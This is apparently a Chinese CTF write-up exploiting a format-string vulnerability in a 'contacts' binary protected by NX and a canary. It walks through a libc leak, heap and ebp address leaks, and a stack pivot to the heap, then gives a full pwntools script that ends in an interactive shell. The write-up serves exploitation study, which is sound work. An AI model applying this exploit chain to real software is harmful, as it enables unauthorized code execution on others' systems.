check一下,开了NX还开了canary
根据https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_example-zh/,发现不可以通过劫持 got 表或者控制程序返回地址来控制程序流程。
image.png
原因:
1.不能够劫持 got 来控制程序流程,是因为我们发现对于程序中常见的可以对于我们给定的字符串输出的只有 printf 函数,我们只有选择它才可以构造 /bin/sh 让它执行 system('/bin/sh'),但是 printf 函数在其他地方也均有用到,这样做会使得程序直接崩溃。
2.不能够直接控制程序返回地址来控制程序流程的是因为我们并没有一块可以直接执行的地址来存储我们的内容,同时利用格式化字符串来往栈上直接写入 system_addr + 'bbbb' + addr of '/bin/sh‘ 似乎并不现实。(因为开启了canary)
拖进ida:
image.png
image.png
image.png
image.png
找到了格式化字符串漏洞,并且发现,格式化字符串是指向堆中的。
我们可以控制堆内存,所以我们可以把栈迁移到堆上去。这里我们通过 leave 指令来进行栈迁移,所以在迁移之前我们需要修改程序保存 ebp 的值为我们想要的值。 只有这样在执行 leave 指令的时候, esp 才会成为我们想要的值。同时,因为我们是使用格式化字符串来进行修改,所以我们得知道保存 ebp 的地址为多少,而这时 PrintInfo 函数中存储 ebp 的地址每次都在变化,而我们也无法通过其他方法得知。但是,程序中压入栈中的 ebp 值其实保存的是上一个函数的保存 ebp 值的地址,所以我们可以修改其上层函数的保存的 ebp 的值,即上上层函数(即 main 函数)的 ebp 数值。这样当上层程序返回时,即实现了将栈迁移到堆的操作。
思路:
第一步:从栈中找到某个函数的地址,利用格式化字符串进行泄露,从而推出libc版本,进而知道system和"/bin/sh"的地址,这里我们通过__libc_start_main 的返回地址来泄露。
第二步:泄露堆地址与ebp的地址,因为我们在栈上没有地方写system与binsh,所以我们要将它写在堆上,同时通过格式化字符串泄露地址
第三步:将ret_addr改到堆上的system("/bin/sh"),getshell。
查看栈:
image.png
我们可以看见我们输入的格式化字符串在0xffffcff0处,ebp在0xffffxcfdc处,__libc_start_main在0xffffd03c,先计算偏移
image.png
可以用如下payload来泄露堆地址与ebp的地址
[system_addr][bbbb][binsh_addr][%6$p][%11$p][bbbb](下面的地址保存着上层函数的调用地址,其相对于格式化字符串的偏移为 6,栈上存储格式化字符串的地址相对于格式化字符串的偏移为 11)
修改ebp:
由于我们需要执行 move 指令将 ebp 赋给 esp,并还需要执行 pop ebp 才会执行 ret 指令,所以我们需要将 ebp 修改为存储 system 地址 -4 的值。这样 pop ebp 之后,esp 恰好指向保存 system 的地址,这时在执行 ret 指令即可执行 system 函数。修改方式如下,具体为啥这样,我还不知道,还得研究一下。
part1 = (heap_addr - 4) / 2
part2 = heap_addr - 4 - part1
payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n'
脚本:
from pwn import *
from LibcSearcher import *
contact = ELF('./contacts')
##context.log_level = 'debug'
sh = process('./contacts')
def createcontact(name, phone, descrip_len, description):
sh.recvuntil('>>> ')
sh.sendline('1')
sh.recvuntil('Contact info: \n')
sh.recvuntil('Name: ')
sh.sendline(name)
sh.recvuntil('You have 10 numbers\n')
sh.sendline(phone)
sh.recvuntil('Length of description: ')
sh.sendline(descrip_len)
sh.recvuntil('description:\n\t\t')
sh.sendline(description)
def printcontact():
sh.recvuntil('>>> ')
sh.sendline('4')
sh.recvuntil('Contacts:')
sh.recvuntil('Description: ')
payload = '%31$paaaa'
createcontact('aaaa', '123456789', '100', payload)
printcontact()
libc_start_main_ret = int(sh.recvuntil('aaaa', drop=True), 16)
log.success('get libc_start_main_ret addr: ' + hex(libc_start_main_ret))
libc = LibcSearcher('__libc_start_main_ret', libc_start_main_ret)
libc_base = libc_start_main_ret - libc.dump('__libc_start_main_ret')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
log.success('get system addr: ' + hex(system_addr))
log.success('get binsh addr: ' + hex(binsh_addr))
payload = flat([
system_addr,
'bbbb',
binsh_addr,
'%6$p%11$pcccc',
])
createcontact('aaaa', '123456789', '100', payload)
printcontact()
sh.recvuntil('Description: ')
data = sh.recvuntil('cccc', drop=True)
data = data.split('0x')
print data
ebp_addr = int(data[1], 16)#将数据一以整型十六进制的方式获得
heap_addr = int(data[2], 16)
part1 = (heap_addr - 4) / 2
part2 = heap_addr - 4 - part1
payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n'
createcontact('aaaa', '123456789', '100', payload)
printcontact()
sh.recvuntil('Description: ')
sh.recvuntil('Description: ')
print 'get shell'
sh.recvuntil('>>> ')
sh.sendline('5')
sh.interactive()